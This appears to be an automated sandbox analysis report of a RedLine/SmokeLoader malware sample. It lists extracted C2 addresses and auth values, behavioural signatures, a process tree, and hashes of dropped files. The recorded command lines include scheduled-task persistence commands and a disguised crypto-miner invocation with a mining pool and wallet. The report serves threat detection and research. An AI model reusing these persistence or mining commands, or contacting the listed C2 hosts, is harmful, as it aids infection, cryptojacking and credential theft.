Analysis

  • max time kernel
    73s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/10/2022, 07:31

General

  • Target
    a8b4c6a2c8396eb12f501f3ecf62d042.exe
  • Size 268KB
  • Sample221028-jcdj6aehd5
  • SHA256 64a3c120cb987ccbb5228df2929a26e8e6b5a736bba86f133aec9a314c4ada47
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • slovarik15btc

C2
  • 78.153.144.3:2510

Attributes
  • auth_value

    bfedad55292538ad3edd07ac95ad8952

Extracted

Family
  • redline

Botnet
  • Google2

C2
  • 167.235.71.14:20469

Attributes
  • auth_value

    fb274d9691235ba015830da570a13578

Signatures

  • Detects Smokeloader packer 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a8b4c6a2c8396eb12f501f3ecf62d042.exe
    "C:\Users\Admin\AppData\Local\Temp\a8b4c6a2c8396eb12f501f3ecf62d042.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1140
  • C:\Users\Admin\AppData\Local\Temp\9E3.exe
    C:\Users\Admin\AppData\Local\Temp\9E3.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4800
  • C:\Users\Admin\AppData\Local\Temp\D7E.exe
    C:\Users\Admin\AppData\Local\Temp\D7E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4912
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1836
  • C:\Users\Admin\AppData\Local\Temp\14B3.exe
    C:\Users\Admin\AppData\Local\Temp\14B3.exe
    1⤵
    • Executes dropped EXE
    PID:4892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "" "Get-WmiObject Win32_PortConnector"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4608
  • C:\Users\Admin\AppData\Local\Temp\1734.exe
    C:\Users\Admin\AppData\Local\Temp\1734.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2816
    • C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe
      "C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      PID:4612
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rovwer.exe /TR "C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe" /F
        3⤵
        • Creates scheduled task(s)
        PID:2352
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2816 -s 1136
      2⤵
      • Program crash
      PID:1348
  • C:\Users\Admin\AppData\Local\Temp\1DCD.exe
    C:\Users\Admin\AppData\Local\Temp\1DCD.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1424
    • C:\Users\Admin\AppData\Roaming\caUeUccHchEuBhSbbHBSfsKHHCfFUhBChAsCHShbACuesKcACFKSAHS.exe
      "C:\Users\Admin\AppData\Roaming\caUeUccHchEuBhSbbHBSfsKHHCfFUhBChAsCHShbACuesKcACFKSAHS.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4732
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp248F.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4536
        • C:\Windows\system32\timeout.exe
          timeout 3
          4⤵
          • Delays execution with timeout.exe
          PID:1680
        • C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
          "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
          4⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2744
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
            5⤵
              PID:1484
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
                6⤵
                • Creates scheduled task(s)
                PID:5060
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.test -p x -t 5
              5⤵
                PID:5068
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c cls
                  6⤵
                    PID:3256
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          1⤵
            PID:4704
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:4656
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              1⤵
                PID:3028
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:4040
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:2056
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2816 -ip 2816
                    1⤵
                      PID:4972
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:4076
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:4004
                        • C:\Windows\explorer.exe
                          C:\Windows\explorer.exe
                          1⤵
                            PID:4744
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:3772

                            Network

                                  MITRE ATT&CK Enterprise v6

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  LYKAA.exe

                                  • Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
                                  • Size 837KB
                                  • SHA256 1b89914543dc2996004f83b161abfd7c39f47fbe1406903d015428a0abbc92d0
                                  • MD5 SHA1 SHA512 SSDEEP

                                  LYKAA.exe

                                  • Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
                                  • Size 837KB
                                  • SHA256 1b89914543dc2996004f83b161abfd7c39f47fbe1406903d015428a0abbc92d0
                                  • MD5 SHA1 SHA512 SSDEEP

                                  RegSvcs.exe.log

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log
                                  • Size 2KB
                                  • SHA256 e9328bdf85ab57bacc3b598afe0f3f5da4bab5fbe43f60a8e11df110ecbb949a
                                  • MD5 SHA1 SHA512

                                  14B3.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\14B3.exe
                                  • Size 2.6MB
                                  • SHA256 b4c758e51a6f76ed43e0219aac7367af7d7b54c12130a39fdad3caa1f402d675
                                  • MD5 SHA1 SHA512 SSDEEP

                                  1734.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\1734.exe
                                  • Size 300KB
                                  • SHA256 b91a7f77b408c765dad293b41f969108ca7950cf730b661b9c3b898cf79fbec7
                                  • MD5 SHA1 SHA512 SSDEEP

                                  1734.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\1734.exe
                                  • Size 300KB
                                  • SHA256 b91a7f77b408c765dad293b41f969108ca7950cf730b661b9c3b898cf79fbec7
                                  • MD5 SHA1 SHA512 SSDEEP

                                  1DCD.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\1DCD.exe
                                  • Size 1.1MB
                                  • SHA256 76d585fc613f574a06935600f633d8b09d6116d5b7d7c82db31c7afd4044d669
                                  • MD5 SHA1 SHA512 SSDEEP

                                  1DCD.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\1DCD.exe
                                  • Size 1.1MB
                                  • SHA256 76d585fc613f574a06935600f633d8b09d6116d5b7d7c82db31c7afd4044d669
                                  • MD5 SHA1 SHA512 SSDEEP

                                  9E3.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\9E3.exe
                                  • Size 724KB
                                  • SHA256 789971880f9d8784b1c81f3527fbd577ef6d0d2f3e124a22573f6dd45a676ecc
                                  • MD5 SHA1 SHA512 SSDEEP

                                  9E3.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\9E3.exe
                                  • Size 724KB
                                  • SHA256 789971880f9d8784b1c81f3527fbd577ef6d0d2f3e124a22573f6dd45a676ecc
                                  • MD5 SHA1 SHA512 SSDEEP

                                  D7E.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\D7E.exe
                                  • Size 724KB
                                  • SHA256 5e082f5510f6f8f0dd534d748da20dcd5d4cf12f2d834e87d1e104bea645875e
                                  • MD5 SHA1 SHA512 SSDEEP

                                  D7E.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\D7E.exe
                                  • Size 724KB
                                  • SHA256 5e082f5510f6f8f0dd534d748da20dcd5d4cf12f2d834e87d1e104bea645875e
                                  • MD5 SHA1 SHA512 SSDEEP

                                  rovwer.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe
                                  • Size 300KB
                                  • SHA256 b91a7f77b408c765dad293b41f969108ca7950cf730b661b9c3b898cf79fbec7
                                  • MD5 SHA1 SHA512 SSDEEP

                                  rovwer.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe
                                  • Size 300KB
                                  • SHA256 b91a7f77b408c765dad293b41f969108ca7950cf730b661b9c3b898cf79fbec7
                                  • MD5 SHA1 SHA512 SSDEEP

                                  tmp248F.tmp.bat

                                  • Path C:\Users\Admin\AppData\Local\Temp\tmp248F.tmp.bat
                                  • Size 153B
                                  • SHA256 7fde36414004fed5c13f1d0d9894429ef59b1b0193cbbdc6d0839413c4106e59
                                  • MD5 SHA1 SHA512

                                  caUeUccHchEuBhSbbHBSfsKHHCfFUhBChAsCHShbACuesKcACFKSAHS.exe

                                  • Path C:\Users\Admin\AppData\Roaming\caUeUccHchEuBhSbbHBSfsKHHCfFUhBChAsCHShbACuesKcACFKSAHS.exe
                                  • Size 837KB
                                  • SHA256 1b89914543dc2996004f83b161abfd7c39f47fbe1406903d015428a0abbc92d0
                                  • MD5 SHA1 SHA512 SSDEEP

                                  caUeUccHchEuBhSbbHBSfsKHHCfFUhBChAsCHShbACuesKcACFKSAHS.exe

                                  • Path C:\Users\Admin\AppData\Roaming\caUeUccHchEuBhSbbHBSfsKHHCfFUhBChAsCHShbACuesKcACFKSAHS.exe
                                  • Size 837KB
                                  • SHA256 1b89914543dc2996004f83b161abfd7c39f47fbe1406903d015428a0abbc92d0
                                  • MD5 SHA1 SHA512 SSDEEP

                                  memory/1100-145-0x0000000000CE0000-0x0000000000D98000-memory.dmp

                                  memory/1140-133-0x0000000002D80000-0x0000000002D89000-memory.dmp

                                  memory/1140-134-0x0000000000400000-0x0000000002C30000-memory.dmp

                                  memory/1140-132-0x0000000002DC7000-0x0000000002DDC000-memory.dmp

                                  memory/1140-135-0x0000000000400000-0x0000000002C30000-memory.dmp

                                  memory/1424-174-0x00007FFBFE040000-0x00007FFBFEB01000-memory.dmp

                                  memory/1424-228-0x00007FFBFE040000-0x00007FFBFEB01000-memory.dmp

                                  memory/1424-169-0x0000000000150000-0x0000000000270000-memory.dmp

                                  memory/1836-159-0x00000000070E0000-0x000000000711C000-memory.dmp

                                  memory/1836-150-0x0000000000710000-0x0000000000738000-memory.dmp

                                  memory/1836-190-0x0000000007E50000-0x0000000007EB6000-memory.dmp

                                  memory/1836-218-0x0000000007F90000-0x0000000008152000-memory.dmp

                                  memory/1836-219-0x0000000008EE0000-0x000000000940C000-memory.dmp

                                  memory/2056-210-0x0000000001230000-0x0000000001252000-memory.dmp

                                  memory/2056-211-0x0000000001200000-0x0000000001227000-memory.dmp

                                  memory/2056-237-0x0000000001230000-0x0000000001252000-memory.dmp

                                  memory/2744-209-0x00007FFBFE040000-0x00007FFBFEB01000-memory.dmp

                                  memory/2744-236-0x00007FFBFE040000-0x00007FFBFEB01000-memory.dmp

                                  memory/2816-202-0x0000000002DC6000-0x0000000002DE4000-memory.dmp

                                  memory/2816-205-0x0000000002FB0000-0x0000000002FEA000-memory.dmp

                                  memory/2816-207-0x0000000000400000-0x0000000002C38000-memory.dmp

                                  memory/3028-191-0x00000000001E0000-0x00000000001E5000-memory.dmp

                                  memory/3028-232-0x00000000001E0000-0x00000000001E5000-memory.dmp

                                  memory/3028-192-0x00000000001D0000-0x00000000001D9000-memory.dmp

                                  memory/3772-225-0x0000000000920000-0x000000000092B000-memory.dmp

                                  memory/3772-224-0x0000000000930000-0x0000000000938000-memory.dmp

                                  memory/4004-239-0x0000000000140000-0x0000000000146000-memory.dmp

                                  memory/4004-216-0x0000000000140000-0x0000000000146000-memory.dmp

                                  memory/4004-217-0x0000000000130000-0x000000000013B000-memory.dmp

                                  memory/4040-235-0x0000000001290000-0x0000000001296000-memory.dmp

                                  memory/4040-201-0x0000000001290000-0x0000000001296000-memory.dmp

                                  memory/4040-193-0x0000000001280000-0x000000000128C000-memory.dmp

                                  memory/4076-212-0x0000000000550000-0x0000000000559000-memory.dmp

                                  memory/4076-238-0x0000000000560000-0x0000000000565000-memory.dmp

                                  memory/4076-215-0x0000000000560000-0x0000000000565000-memory.dmp

                                  memory/4608-244-0x00007FFBFE040000-0x00007FFBFEB01000-memory.dmp

                                  memory/4608-242-0x00000170617E0000-0x0000017061802000-memory.dmp

                                  memory/4608-243-0x00007FFBFE040000-0x00007FFBFEB01000-memory.dmp

                                  memory/4612-233-0x0000000002ED6000-0x0000000002EF3000-memory.dmp

                                  memory/4612-234-0x0000000000400000-0x0000000002C38000-memory.dmp

                                  memory/4656-185-0x0000000000DE0000-0x0000000000DEF000-memory.dmp

                                  memory/4656-184-0x0000000000DF0000-0x0000000000DF9000-memory.dmp

                                  memory/4656-230-0x0000000000DF0000-0x0000000000DF9000-memory.dmp

                                  memory/4704-183-0x0000000001200000-0x0000000001207000-memory.dmp

                                  memory/4704-176-0x0000000000FF0000-0x0000000000FFB000-memory.dmp

                                  memory/4704-229-0x0000000001200000-0x0000000001207000-memory.dmp

                                  memory/4732-177-0x00007FFBFE040000-0x00007FFBFEB01000-memory.dmp

                                  memory/4732-180-0x00007FFBFE040000-0x00007FFBFEB01000-memory.dmp

                                  memory/4732-175-0x0000000000560000-0x0000000000636000-memory.dmp

                                  memory/4744-240-0x00000000010D0000-0x00000000010D7000-memory.dmp

                                  memory/4744-222-0x00000000010D0000-0x00000000010D7000-memory.dmp

                                  memory/4744-223-0x00000000010C0000-0x00000000010CD000-memory.dmp

                                  memory/4800-158-0x0000000005180000-0x0000000005192000-memory.dmp

                                  memory/4800-156-0x0000000005700000-0x0000000005D18000-memory.dmp

                                  memory/4800-157-0x0000000005250000-0x000000000535A000-memory.dmp

                                  memory/4800-188-0x0000000005D20000-0x0000000005DB2000-memory.dmp

                                  memory/4800-187-0x00000000062D0000-0x0000000006874000-memory.dmp

                                  memory/4800-197-0x0000000006200000-0x0000000006276000-memory.dmp

                                  memory/4800-140-0x0000000000400000-0x0000000000428000-memory.dmp

                                  memory/4800-198-0x0000000006180000-0x00000000061D0000-memory.dmp

                                  memory/4892-245-0x00007FF707430000-0x00007FF707C93000-memory.dmp

                                  memory/4892-162-0x00007FF707430000-0x00007FF707C93000-memory.dmp

                                  memory/4892-226-0x00007FF707430000-0x00007FF707C93000-memory.dmp

                                  memory/4912-155-0x00000000009E0000-0x0000000000A98000-memory.dmp

                                  memory/5068-246-0x0000000140000000-0x00000001400C6000-memory.dmp

                                  memory/5068-248-0x0000000140000000-0x00000001400C6000-memory.dmp

                                  memory/5068-249-0x0000000140000000-0x00000001400C6000-memory.dmp

                                  memory/5068-251-0x0000000140000000-0x00000001400C6000-memory.dmp

                                  memory/5068-252-0x0000000140000000-0x00000001400C6000-memory.dmp